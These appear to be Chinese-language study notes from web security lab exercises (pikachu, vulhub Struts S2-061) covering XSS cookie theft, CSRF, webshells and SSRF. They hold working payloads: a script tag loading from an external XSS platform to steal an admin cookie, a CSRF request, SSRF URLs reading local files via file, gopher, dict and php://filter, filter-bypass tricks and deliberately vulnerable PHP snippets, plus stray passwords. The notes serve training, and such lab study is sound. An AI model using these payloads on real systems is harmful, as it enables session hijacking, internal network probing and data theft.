#cookie session
用户凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型
session 会话 存储服务器 存活时间较短 大型
有可能项目有错误,原因就是不能放在其他文件夹的路径中
admin 123456
一般来说只要前后端数据交互的地方就有可能XSS跨站攻击
提价成功
<script>alert(1)</script>
后台弹出恶意代码
而且是存储型的,刷新一次弹出一次
很明显语句插入了前端
攻击平台如下
XSS平台-XSS安全测试平台
991206wxyWXY
<sCRiPt/SrC=//xss.yt/BtDs>
成功插入,这是管理查看订单
此时刷新项目,发现盗取了cookie
相关重要信息
可以利用cookie或者后台地址进行登录
利用postman进行组合拳
设置提交方式,模拟数据包的发送
复制地址
先用原始cookie尝试一下
首先不修改看返回的情况
下面先使用自己浏览器的cookie
成功返回登录内容
图形化界面
总结:也就是说通XSS攻击盗取cookie,然后进行登录
大马-------后门中再一次嵌入后门,有人在你使用的后门中再一次创建后门,你的信息会发送到一个webshell的箱子
RCE:代码执行漏洞,命令执行漏洞
要看网站是干嘛的,没有拓展的功能基本就是够呛
RCE strtus远程执行漏洞复现
S2-061
CVE-2020=17530复现
搭建环境
https://github.com/vulhub/vulhub/
下载vulhub--master
查看漏洞环境
进入S2-061目录
使用docker-compose -d拉取项目
有可能出现失败情况
解决办法
1.出现这个问题是因为当前用户权限的问题,只要将当前用户加入docker组就可以啦~
解决方案:
如果还没有 docker group 就添加一个
sudo groupadd docker
2、将用户加入该 group 内。然后退出并重新登录就生效啦。
sudo gpasswd -a ${USER} docker
3、重启 docker 服务
sudo service docker restart
4、切换当前会话到新 group 或者重启 X 会话
newgrp - docker
注意:最后一步是必须的,否则因为 groups 命令获取到的是缓存的组信息,刚添加的组信息未能生效,所以 docker images 执行时同样有错。`
导致这个问题的原因实在多,所以把解决方法一一列出。
1、docker服务启动
$ sudo systemctl start docker // 或者 sudo service docker start
$ docker-compose up
2、docker服务启动了,但是一些缓存影响了
那就重启
$ sudo systemctl restart docker // 或者 sudo service docker restart
$ docker-compose up</pre>
3 当前用户不在docker
用户组
那就把自己加到docker
用户组
$ sudo gpasswd -a ${USER} docker
$ docker-compose up
添加到docker
用户组后要重新登录shell再up
。
4 也许用sudo可能有效
$ sudo docker-compose up
5 docker-compose版本太老了
那就更新版本
$ sudo curl -L "https://github.com/docker/compose/releases/download/1.23.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
$ sudo chmod +x /usr/local/bin/docker-compose
$ docker-compose up
点击这里查看docker-compose官方安装教程(可能需要梯子)。
6 重启系统吧
$ sudo reboot
$ docker-compose up
出现
表示成功
docker还是没有端口,有待解决
一句话WebShell原理
其实点击后门软件的情况下已经发送了大量的数据包,才能进行远控
CSRF
修改个人信息抓包
http://192.168.111.136/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=1367676776711&add=nba+76&email=allen%40pikachu.com&submit=submit
测试一下修改的数据包
修改成功
那么这个时候把数据包提取,放到服务器上
<script src=''>http://192.168.111.136/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=1367676776711&add=nba+76&email=allen%40pikachu.com&submit=submit<script src=''></script>
修改数据包
访问服务器的时候,会直接触发服务器中的恶意代码
这时候再刷新页面修改成功
总结:恶意代码写到服务器中,别人访问服务器直接触发
防御:同源检测,唯一Token
SSRF(打内网)
主要攻击方式:
当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问。如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的。
很多网站提供了从其他的服务器上获取数据的功能。通过指定的URL,网站可以从其他地方获取图片、下载文件、读取文件内容等。SSRF的实质就是利用存在缺陷的Web站点作为代理攻击远程和本地的服务器。
SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制。攻击者可以利用改漏洞获取内部系统的一些信息(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网系统)。
漏洞的几种类型
1)显示对攻击者的响应(Basic)
它显示对攻击者的响应,因此在服务器获取攻击者要求的URL后,它将把响应发送回攻击者。返回结果到客户端,如传送一个网址,会返回这个网址的界面或对应的 html 代码。
2)不显示响应(Blind)
和上面正好相反,不会返回结果到客户端。
当您从未从初势请求中获取有关目标服务的任何信息时,就会发生这种ssrf。通常,攻击者将提供url,但是该url中的数据将永远不会返回给攻击者。要在这种情况下确认漏洞,攻击者必须使用Burp,DNSbin等类似工具。这些工具可以通过强制服务器向攻击者控制的服务器发出DNS或HTTP请求来确认服务器是易受攻击的。这种ssrf通常易于验证,但难以利用。
3)Semi-ssrf
与Blind相似,这种ssrf不会返回相关结果请求的所有详细信息,但是会暴露一些数据。
这可能是部分数据或错误信息,他们为攻击者提供了更多信息。
有时,关于请求的元数据(例如响应时间)也可以视为Semi-ssrf,因为它们允许攻击者验证请求是否成功。这种ssrf通常足以验证漏洞,但并不总是能够提取敏感数据。
示例:
漏洞场景:某网站有一个在线加载功能可以把指定的远程文章加载到本地,链接如下:
http://www.xxx.com/article.php?url=https://blog.csdn.net/qq_43531669/article/details/112498646
假如系统没有对url参数进行任何的检查,就可以构造其他的请求,例如:
http://www.xxx.com/article.php?url=http://127.0.0.1:22
http://www.xxx.com/article.php?url=file:///etc/passwd
http://www.xxx.com/article.php?url=dict://127.0.0.1:22/data:data2 (dict可以向服务端口请求data data2)
http://www.xxx.com/article.php?url=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求)
...
上述把127.0.0.1的相关文件加载到本地了,泄露信息
3、漏洞形成原理:
很多网站提供了从其他的服务器上获取数据的功能。通过指定的URL,网站可以从其他地方获取图片、下载文件、读取文件内容等。SSRF的实质就是利用存在缺陷的Web站点作为代理攻击远程和本地的服务器。
SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制。攻击者可以利用改漏洞获取内部系统的一些信息(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网系统)。
4、漏洞的危害:
对外网、服务器所在内网、本地进行端口扫描
向内部任意主机的任意端口发送payload来攻击内网服务
DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
攻击内网的web应用,如直接SQL注入、XSS攻击等
利用file、gopher、dict协议读取本地文件、执行命令等
可以无视网站CDN
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。
5、漏洞分类
1)显示对攻击者的响应(Basic)
它显示对攻击者的响应,因此在服务器获取攻击者要求的URL后,它将把响应发送回攻击者。返回结果到客户端,如传送一个网址,会返回这个网址的界面或对应的 html 代码。
2)不显示响应(Blind)
和上面正好相反,不会返回结果到客户端。
当您从未从初势请求中获取有关目标服务的任何信息时,就会发生这种ssrf。通常,攻击者将提供url,但是该url中的数据将永远不会返回给攻击者。要在这种情况下确认漏洞,攻击者必须使用Burp,DNSbin等类似工具。这些工具可以通过强制服务器向攻击者控制的服务器发出DNS或HTTP请求来确认服务器是易受攻击的。这种ssrf通常易于验证,但难以利用。
3)Semi-ssrf
与Blind相似,这种ssrf不会返回相关结果请求的所有详细信息,但是会暴露一些数据。
这可能是部分数据或错误信息,他们为攻击者提供了更多信息。
有时,关于请求的元数据(例如响应时间)也可以视为Semi-ssrf,因为它们允许攻击者验证请求是否成功。这种ssrf通常足以验证漏洞,但并不总是能够提取敏感数据。
0x02 漏洞检测
1、漏洞验证:
因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由服务器端发送的来判断是否存在SSRF漏洞。
在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=地址就可能存在SSRF漏洞。
1)基本判断(排除法)
例如:
http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
排除法一:
你可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是 http://www.baidu.com/img/bd_logo1.png,说明不存在 SSRF 漏洞。
2)漏洞的可能出现点:
(1) 分享功能:通过URL地址分享文章等,例如如下地址:
http://share.xxx.com/index.php?url=http://www.xxx.com
图片加载存在于很多的编辑器中,编辑器上传图片处加载设定好的远程服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF。
(3)图片/文章收藏功能:
http://title.xxx.com/title?title=http://title.xxx.com/xxx
例如 title参数是文章的标题地址,代表了一个文章的地址链接,如果收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。
(4)转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。
(5)在线翻译:给网址翻译对应网页的内容。
(6)邮件系统:比如接收邮件服务器地址。
(7)利用参数中的关键字查找:
关键字:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain...
总的来说,需要从远程服务器请求资源的网站都有可能存在SSRF漏洞。
0x03 绕过方法:
部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:
1、绕过限制为某种域名:
(1)利用@,当网站限制只能访问 http://www.xxx.com类型的域名时,可以采用http基本身份认证的方式绕过,如:http://www.xxx.com@www.xxc.com
在对@解析域名中,不同的处理函数存在处理差异,例如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别 www.ccc.com,而libcurl则识别为 www.bbb.com。
2、绕过限制请求IP不为内网地址:
(1)采用短网址绕过
(2)利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1
(3)采用进制转换,127.0.0.1 八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433
(4)利用[::],http://[::]:80/ 会解析为 http://127.0.0.1
(5)添加端口号,http://127.0.0.1:8080
(6)利用句号,127。0。0。1 会解析为 127.0.0.1
(7)采用302跳转
3、限制请求只为http协议:
(1)采用302跳转
(2)采用短地址
1、漏洞产生的相关函数
file_get_contenets()、fscokopen()、curl_exec()、fopen()、readfile()
1)file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
file_get_content
函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
(2)fsockopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
(3)curl_exec()
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec
函数用于执行指定的cURL会话
0x05 如何防御SSRF
1、禁止跳转
2、禁用除http和https外的协议,如:file://、gopher://、dict://等。
3、限制请求的端口为http常用的端口,如 80、443、8080。
4、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
5、对请求地址设置白名单或者限制内网IP,以防止对内网进行攻击。
2、漏洞靶场:
这里使用pikachu靶场的ssrf模块进行演示。
2.1、SSRF(curl):
首先来看使用curl_exec()
函数的ssrf靶场,点击页面链接会返回一首诗,观察发现它传递了一个url请求给后台
在这里插入图片描述
查看后端代码,可以看到它是用get获取了前端的url请求,curl_exec函数执行请求,最终又将请求结果返回到前端。
在这里插入图片描述
curl_init //初始cURL会话
curl_exec //执行cURL会话
将上传的url修改为http://www.badiu.com,可以看到页面显示出了百度的数据
在这里插入图片描述
我们可以把url中的内容改成内网的其他服务器上地址和端口,探测内网信息,比如端口开放情况,例如,下图探测出内网主机 192.168.50.130 开放了22端口:
在这里插入图片描述
可以配合脚本或者Burp进行更高效的端口探测,例:
打开Burp,抓包发到Intruder,设置Payload
在这里插入图片描述
在这里插入图片描述
可以看到,检测到了内网主机的80端口是开放的
在这里插入图片描述
我们也可以通过SSRF漏洞读取内网服务器的文件,例如将url修改为
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/system.ini
在这里插入图片描述
2.2、SSRF(file_get_content):
同样点击页面标签,发现是使用file协议读取文件
在这里插入图片描述
查看后端代码
在这里插入图片描述
与上面大致相同,不同之处是它这里使用file_get_contents
函数进行文件的读取执行,而file_get_contents
函数可以对本地文件进行读取,也可以对远程文件进行读取,例如:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://192.168.50.130/index.html
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/windows/system.ini
或者使用 filter 获得页面源码(直接访问只会被当做php文件被执行 详细解释)
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=test.php
在这里插入图片描述
base64解密后得到源码:
在这里插入图片描述